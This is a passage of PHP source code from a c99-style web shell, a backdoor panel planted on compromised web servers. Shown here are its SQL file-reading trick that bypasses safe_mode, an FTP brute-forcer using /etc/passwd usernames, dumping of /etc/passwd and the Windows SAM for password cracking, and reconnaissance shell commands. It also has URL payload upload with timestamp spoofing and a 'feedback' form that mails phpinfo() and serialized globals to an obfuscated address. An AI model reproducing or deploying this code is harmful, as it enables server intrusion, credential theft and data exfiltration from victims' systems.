>"><input type="text" name="sql_getfile" size="30" value="<?php echo
htmlspecialchars($sql_getfile); ?>"> <input type="submit" value="Get"></form></td><td
width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%"
height="1"></td><td width="30%" height="1"></td></tr></table><?php }
   if (!empty($sql_act)) {
    echo "<hr size=\"1\" noshade>";
```

```
    if ($sql_act == "newdb") {
     echo "<b>";
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB
\"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b>
".mysql_smarterror();}
    }
    if ($sql_act == "serverstatus") {
     $result = mysql_query("SHOW STATUS", $sql_sock);
     echo "<center><b>Server-status variables:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333
border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td>
<td>".$row[1]."</td></tr>";}
     echo "</table></center>";
     mysql_free_result($result);
    }
    if ($sql_act == "servervars") {
     $result = mysql_query("SHOW VARIABLES", $sql_sock);
     echo "<center><b>Server variables:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333
border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td>
<td>".$row[1]."</td></tr>";}
     echo "</table>";
     mysql_free_result($result);
    }
    if ($sql_act == "processes") {
     if (!empty($kill)) {
       $query = "KILL ".$kill.";";
       $result = mysql_query($query, $sql_sock);
       echo "<b>Process #".$kill." was killed.</b>";
     }
     $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
     echo "<center><b>Processes:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td>
<b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td>
<b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b>
</td><td><b>Action</b></td></tr>";
```

```
    while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td>
<td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td>
<td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a
href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
    echo "</table>";
    mysql_free_result($result);
   }
   if ($sql_act == "getfile")
   {
    $tmpdb = $sql_login."_tmpdb";
    $select = mysql_select_db($tmpdb);
    if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created =
!!$select;}
    if ($select)
    {
     $created = FALSE;
     mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir`
LONGBLOB NOT NULL );");
     mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
     $result = mysql_query("SELECT * FROM tmp_file;");
     if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
     else
     {
      for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
      $f = "";
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
      if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
      else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
      mysql_free_result($result);
      mysql_query("DROP TABLE tmp_file;");
     }
    }
    mysql_drop_db($tmpdb); //comment it if you want to leave database
   }
  }
 }
}
echo "</td></tr></table>";
if ($sql_sock) {
```

```
  $affected = @mysql_affected_rows($sql_sock);
  if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>";
}
echo "</table>";
}
//End of SQL Manager
if ($act == "ftpquickbrute") {
echo "<center><table><tr><td colspan=2>";
echo ".: Ftp Quick Brute :.</td></tr>";
echo "<tr><td>";
if ($win) {echo "Couldn't run on Windows!";}
else {
  function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
    if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
    else {$TRUE = TRUE;}
    if ($TRUE) {
      $sock = @ftp_connect($host,$port,$timeout);
      if (@ftp_login($sock,$login,$pass)) {
        echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to
".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
        ob_flush();
        return TRUE;
      }
    }
  }
  if (!empty($submit)) {
    if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
    $fp = fopen("/etc/passwd","r");
    if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
    else {
      if ($fqb_logging) {
        if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
        else {$fqb_logfp = FALSE;}
        $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
        if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
      }
      ob_flush();
      $i = $success = 0;
```

```
    $ftpquick_st = getmicrotime();
    while(!feof($fp)) {
      $str = explode(":",fgets($fp,2048));
      if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) {
        echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and
password \"".$str[0]."\"</b><br>";
        $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and
password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
        if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
        $success++;
        ob_flush();
      }
      if ($i > $fqb_lenght) {break;}
      $i++;
    }
    if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success.
connections!\r\n";}
    $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
    echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."
<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font>
<br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."
<br>";
    $fqb_log .= "\r\n----------------------------------------\r\nDone!\r\nTotal time (secs.):
".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".
($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
    if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
    if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);}
    fclose($fqb_logfp);
   }
  }
  else {
   $logfile = $tmpdir_logs."yx29sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
   $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
   echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\">".
        "Read first:</td><td><input type=text name=\"fqb_lenght\"
value=\"".$nixpwdperpage."\"></td></tr>".
        "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users
only with shell</td></tr>".
        "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\"
```

```
checked>Logging</td></tr>".
        "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\"
value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>".
        "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\"
value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>".
        "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>";
  }
  echo "</td></tr></table></center>";
}
}
if ($act == "d") {
if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; }
else {
  echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  if (!$win) {
   echo "<tr><td><b>Owner/Group</b></td><td> ";
   $ow = posix_getpwuid(fileowner($d));
   $gr = posix_getgrgid(filegroup($d));
   $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?
$gr["name"]:filegroup($d));
  }
  echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\">
<b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y
H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y
H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y
H:i:s",filemtime($d))."</td></tr></table>";
}
}
if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
if ($act == "security") {
  echo "<div>.: Server Security Information :.</div>".
       "<table>".
       "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>";
  echo "<td>Password File</td><td>";
  if (!$win) {
    if ($nixpasswd) {
      if ($nixpasswd == 1) {$nixpasswd = 0;}
      echo "*nix /etc/passwd:<br>";
      if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
```

```
    if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input
type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b> <input type=\"text=\"
name=\"nixpwd_s\" value=\"".$nixpwd_s."\"> <b>To:</b> <input type=\"text\"
name=\"nixpwd_e\" value=\"".$nixpwd_e."\"> <input type=submit value=\"View\">
</form><br>";
    $i = $nixpwd_s;
    while ($i < $nixpwd_e) {
      $uid = posix_getpwuid($i);
      if ($uid) {
        $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
        echo join(":",$uid)."<br>";
      }
      $i++;
    }
   }
   else {echo "<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get
/etc/passwd</u></b></a>";}
  }
  else {
   $v = $_SERVER["WINDIR"]."\repair\sam";
   if (file_get_contents($v)) {echo "<td colspan=2><div>You can't crack Windows
passwords(".$v.")</div></td></tr>"; }
   else {echo "You can crack Windows passwords. <a
href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u>
<b>Download</b></u></a>, and use lcp.crack+ ?.</td></tr>";}
  }
  echo "</td></tr>";
  echo "<tr><td>Config Files</td><td>";
  if (!$win) {
   $v = array(
      array("User Domains","/etc/userdomains"),
      array("Cpanel Config","/var/cpanel/accounting.log"),
      array("Apache Config","/usr/local/apache/conf/httpd.conf"),
      array("Apache Config","/etc/httpd.conf"),
      array("Syslog Config","/etc/syslog.conf"),
      array("Message of The Day","/etc/motd"),
      array("Hosts","/etc/hosts")
   );
```

```
  $sep = "/";
 }
 else {
  $windir = $_SERVER["WINDIR"];
  $etcdir = $windir . "\system32\drivers\etc\\";
  $v = array(
     array("Hosts",$etcdir."hosts"),
     array("Local Network Map",$etcdir."networks"),
     array("LM Hosts",$etcdir."lmhosts.sam"),
  );
  $sep = "\\";
 }
 foreach ($v as $sec_arr) {
  $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
  $sec_d = rtrim($sec_arr[1],$sec_f);
  $sec_full = $sec_d.$sec_f;
  $sec_d = rtrim($sec_d,$sep);
  if (file_get_contents($sec_full)) {
    echo " [ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><u>
<b>".$sec_arr[0]."</b></u></a> ] ";
  }
 }
 echo "</td></tr>";

 function displaysecinfo($name,$value) {
  if (!empty($value)) {
    echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>";
  }
 }
 if (!$win) {
  displaysecinfo("OS Version",myshellexec("cat /proc/version"));
  displaysecinfo("Kernel Version",myshellexec("sysctl -a | grep version"));
  displaysecinfo("Distrib Name",myshellexec("cat /etc/issue.net"));
  displaysecinfo("Distrib Name (2)",myshellexec("cat /etc/*-realise"));
  displaysecinfo("CPU Info",myshellexec("cat /proc/cpuinfo"));
  displaysecinfo("RAM",myshellexec("free -m"));
  displaysecinfo("HDD Space",myshellexec("df -h"));
  displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
  displaysecinfo("Mount Options",myshellexec("cat /etc/fstab"));
```

```
    displaysecinfo("cURL installed?",myshellexec("which curl"));
    displaysecinfo("lynx installed?",myshellexec("which lynx"));
    displaysecinfo("links installed?",myshellexec("which links"));
    displaysecinfo("fetch installed?",myshellexec("which fetch"));
    displaysecinfo("GET installed?",myshellexec("which GET"));
    displaysecinfo("perl installed?",myshellexec("which perl"));
    displaysecinfo("Where is Apache?",myshellexec("whereis apache"));
    displaysecinfo("Where is perl?",myshellexec("whereis perl"));
    displaysecinfo("Locate proftpd.conf",myshellexec("locate proftpd.conf"));
    displaysecinfo("Locate httpd.conf",myshellexec("locate httpd.conf"));
    displaysecinfo("Locate my.conf",myshellexec("locate my.conf"));
    displaysecinfo("Locate psybnc.conf",myshellexec("locate psybnc.conf"));
  }
  else {
    displaysecinfo("OS Version",myshellexec("ver"));
    displaysecinfo("Account Settings",myshellexec("net accounts"));
  }
  echo "</table>\n";
}
if ($act == "mkfile") {
if ($mkfile != $d) {
  if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object
already exists!";}
  elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access
denied!";}
  else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .=
DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
}
else {$act = $dspact = "ls";}
}
if ($act == "encoder") {
echo "<script language=\"javascript\">function set_encoder_input(text)
{document.forms.encoder.input.value = text;}</script>".
    "<form name=\"encoder\" action=\"".$surl."\" method=POST>".
    "<input type=hidden name=act value=encoder>".
    "<center><table>".
    "<tr><td colspan=4>.: Encoder :.</td>".
    "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70
rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>".
```

```
    "<input type=submit value=\"calculate\"></td></tr>".
    "<tr><td rowspan=4>Hashes:</td>";
foreach(array("md5","crypt","sha1","crc32") as $v) {
  echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\"
onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\"
readonly></td></tr><tr>";
}
echo "</tr>".
    "<tr><td rowspan=2>Url:</td>".
    "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\"
onMouseover=\"this.select()\" onMouseout=\"this.select()\"
value=\"".urlencode($encoder_input)."\" readonly></td></tr>".
    "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\"
onMouseover=\"this.select()\" onMouseout=\"this.select()\"
value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>".
    "<tr><td rowspan=2>Base64:</td>".
    "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\"
onMouseover=\"this.select()\" onMouseout=\"this.select()\"
value=\"".base64_encode($encoder_input)."\" readonly></td></tr>".
    "<tr><td>base64_decode:</td><td>";
if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input
type=text size=35 value=\"Failed!\" disabled readonly>";}
else {
  $debase64 = base64_decode($encoder_input);
  $debase64 = str_replace("\0","[0]",$debase64);
  $a = explode("\r\n",$debase64);
  $rows = count($a);
  $debase64 = htmlspecialchars($debase64);
  if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\"
onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\"
id=\"debase64\" readonly>"; }
  else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\"
onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\"
readonly>".$debase64."</textarea>"; }
  echo " <a href=\"#\"
onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]
</a>";
}
echo "</td></tr>".
```

```
    "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35
onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
$c = strlen($encoder_input);
for($i=0;$i<$c;$i++) {
  $hex = dechex(ord($encoder_input[$i]));
  if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
}
echo "\" readonly></td></tr></table></center></form>";
}
if ($act == "fsbuff") {
  $arr_copy = $sess_data["copy"];
  $arr_cut = $sess_data["cut"];
  $arr = array_merge($arr_copy,$arr_cut);
  if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";}
  else {
    $yx_infohead = "File-System Buffer";
    $ls_arr = $arr;
    $disp_fullpath = TRUE;
    $act = "ls";
  }
}
if ($act == "selfremove") {
  if (($submit == $rndcode) and ($submit != "")) {
    if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using ".$sh_name.""; c99shexit(); }
    else {echo "<center><b>Can't delete ".__FILE__."</b></center>";}
  }
  else {
    if (!empty($rndcode)) {echo "<b>Error: incorrect confirmation!</b>";}
    $rnd = rand(0,9).rand(0,9).rand(0,9);
    echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-
remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"
</b>: <input type=hidden name=rndcode value=\"".$rnd."\"><input type=text
name=submit> <input type=submit value=\"YES\"></form>";
  }
}
if ($act == "update") { //Update c99Shell
  $ret = c99sh_getupdate(!!$confirmupdate);
  echo "<b>".$ret."</b>";
```

```
  if (stristr($ret,"new version")) {
    echo "<br><br><input type=button
onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";
  }
}
if ($act == "feedback") {
  $suppmail = base64_decode("YXN5aWVrMTJAZ21haWwuY29t");
  if (!empty($submit)){
    $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
    $body = $sh_name." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-
mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP:
".$REMOTE_ADDR;
    if (!empty($fdbk_ref)) {
      $tmp = @ob_get_contents();
      ob_clean();
      phpinfo();
      $phpinfo = base64_encode(ob_get_contents());
      ob_clean();
      echo $tmp;
      $body .= "\n"."phpinfo():
".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
    }
    mail($suppmail,$sh_name." feedback #".$ticket,$body,"FROM: ".$suppmail);
    echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
  }
  else {
    echo "<form action=\"".$surl."\" method=POST>".
        "<input type=hidden name=act value=feedback>".
        "<table><tr><td colspan=2>".
        ".: Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail).") :.
</td></tr>".
        "<tr><td>Your name:</td><td><input type=\"text\" name=\"fdbk_name\"
value=\"".htmlspecialchars($fdbk_name)."\"></td</tr>".
        "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"fdbk_email\"
value=\"".htmlspecialchars($fdbk_email)."\"></td></tr>".
        "<tr><td>Message:</td><td><textarea name=\"fdbk_body\" cols=80
rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\"
name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br>".
        "<input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked> Attach Server info
```

```
(Recommended for bug-fix)<br>".
        "*Language: English, Indonesian.</td></tr>".
        "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td>
</tr>".
        "</table>";
  }
}
if ($act == "yxmailer") {
  if (!empty($submit)){
    $headers = 'To: '.$dest_email."\r\n";
    $headers .= 'From: '.$sender_name.' '.$sender_email."\r\n";
    if (mail($suppmail,$sender_subj,$sender_body,$header)) {
      echo "<center><b>Email sent!</b></center>";
    }
    else { echo "<center><b>Couldn't send email!</b></center>"; }
  }
  else {
    echo "<form action=\"".$surl."\" method=POST>".
        "<input type=hidden name=act value=yxmailer>".
        "<table><tr><td colspan=2>".
        ".: $sh_name Mailer :.</td></tr>".
        "<tr><td>Your name:</td><td><input type=\"text\" name=\"sender_name\"
value=\"".htmlspecialchars($sender_name)."\"></td</tr>".
        "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"sender_email\"
value=\"".htmlspecialchars($sender_email)."\"></td></tr>".
        "<tr><td>To:</td><td><input type=\"text\" name=\"dest_email\"
value=\"".htmlspecialchars($dest_email)."\"></td></tr>".
        "<tr><td>Subject:</td><td><input size=70 type=\"text\" name=\"sender_subj\"
value=\"".htmlspecialchars($sender_subj)."\"></td></tr>".
        "<tr><td>Message:</td><td><textarea name=\"sender_body\" cols=80
rows=10>".htmlspecialchars($sender_body)."</textarea><br>".
        "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td>
</tr>".
        "</table>";
  }
}
if ($act == "search") {
  echo "<div>.: $sh_name File-System Search :.</div>";
  if (empty($search_in)) {$search_in = $d;}
```

```
  if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  if (!empty($submit)) {
    $found = array();
    $found_d = 0;
    $found_f = 0;
    $search_i_f = 0;
    $search_i_d = 0;
    $a = array(
        "name"=>$search_name,
        "name_regexp"=>$search_name_regexp,
        "text"=>$search_text,
        "text_regexp"=>$search_text_regxp,
        "text_wwo"=>$search_text_wwo,
        "text_cs"=>$search_text_cs,
        "text_not"=>$search_text_not
    );
    $searchtime = getmicrotime();
    $in = array_unique(explode(";",$search_in));
    foreach($in as $v) {c99fsearch($v);}
    $searchtime = round(getmicrotime()-$searchtime,4);
    if (count($found) == 0) {echo "No files found!";}
    else {
      $ls_arr = $found;
      $disp_fullpath = TRUE;
      $act = "ls";
    }
  }
  echo "<table>".
       "<tr><td><form method=POST>".
       "<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act
value=\"".$dspact."\">".
       "File or folder Name:</td><td><input type=\"text\" name=\"search_name\"
size=\"".round(strlen($search_name)+25)."\"
value=\"".htmlspecialchars($search_name)."\"> <input type=\"checkbox\"
name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"").">
Regular Expression</td></tr>".
       "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\"
size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td>
```

```
</tr>".
      "<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\"
rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>".
      "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".
($search_text_regexp == 1?" checked":"").""> Regular Expression".
      "  <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo
== 1?" checked":"").""> Whole words only".
      "  <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs ==
1?" checked":"").""> Case sensitive".
      "  <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not ==
1?" checked":"").""> Find files NOT containing the text</td></tr>".
      "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td>
</tr>".
      "</table>";
  if ($act == "ls") {
    $dspact = $act;
    echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders,
".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>".
         "<hr size=\"1\" noshade>";
  }
}
if ($act == "chmod") {
  $mode = fileperms($d.$f);
  if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  else {
    $form = TRUE;
    if ($chmod_submit)
  {
   $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).
($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).
($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
    if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
    else {$err = "Can't chmod to ".$octet.".";}
  }
  if ($form)
  {
   $perms = parse_perms($mode);
   echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)."
(".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form
```

```
action=\"".$surl."\" method=POST><input type=hidden name=d
value=\"".htmlspecialchars($d)."\"><input type=hidden name=f
value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table
align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br>
<input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?"
checked":"")."> Read<br><input type=checkbox name=chmod_o[w] value=1".
($perms["o"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_o[x]
value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input
type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?"
checked":"")."> Read<br><input type=checkbox NAME=chmod_g[w] value=1".
($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x]
value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br>
<input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?"
checked":"")."> Read<br><input type=checkbox NAME=chmod_w[w] value=1".
($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x]
value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input
type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  }
}
}
if ($act == "upload") {
  $uploadmess = "";
  $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
  if (empty($uploadpath)) {$uploadpath = $d;}
  elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .=
DIRECTORY_SEPARATOR;}
  if (!empty($submit)) {
    global $_FILES;
    $uploadfile = $_FILES["uploadfile"];
    if (!empty($uploadfile["tmp_name"])) {
      if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
      else {$destin = $userfilename;}
      if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
        $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy
\"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"<br>";
      }
      else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
    }
    elseif (!empty($uploadurl)) {
```

```
      if (!empty($uploadfilename)) {$destin = $uploadfilename;}
      else {
        $destin = explode("/",$destin);
        $destin = $destin[count($destin)-1];
        if (empty($destin)) {
          $i = 0;
          $b = "";
          while(file_exists($uploadpath.$destin)) {
            if ($i > 0) {$b = "_".$i;}
            $destin = "upload".$b;
            $i++;
          }
        }
      }
      if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and
(!eregi("ftp://",$uploadurl))) {echo "<b>Incorrect URL!</b>";}
      else {
        $st = getmicrotime();
        $content = @file_get_contents($uploadurl);
        $dt = round(getmicrotime()-$st,4);
        if (!$content) {$uploadmess .=  "Can't download file!";}
        else {
          if ($filestealth) {$stat = stat($uploadpath.$destin);}
          $fp = fopen($uploadpath.$destin,"w");
          if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."<br>";}
          else {
            fwrite($fp,$content,strlen($content));
            fclose($fp);
            if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
            $uploadmess .= "File saved from ".$uploadurl." !";
          }
        }
      }
    }
    else { echo "No file to upload!"; }
  }
  if ($miniform) {
    echo "<b>".$uploadmess."</b>";
    $act = "ls";
```

```
  }
  else {
    echo "<table><tr><td colspan=2>".
         ".: File Upload :.</td>".
         "<td colspan=2>".$uploadmess."</td></tr>".
         "<tr><td><form enctype=\"multipart/form-data\"
action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>".
         "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>".
         "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\"
value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
         "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\"
value=\"".$dispd."\"></td></tr>".
         "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>".
         "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4>
Convert file name to lowercase</td></tr>".
         "<tr><td></td><td><input type=submit name=submit value=\"Upload\">".
         "</form></td></tr></table>";
  }
}
if ($act == "delete") {
  $delerr = "";
  foreach ($actbox as $v) {
    $result = FALSE;
    $result = fs_rmobj($v);
    if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
  }
  if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
  $act = "ls";
}
if (!$usefsbuff) {
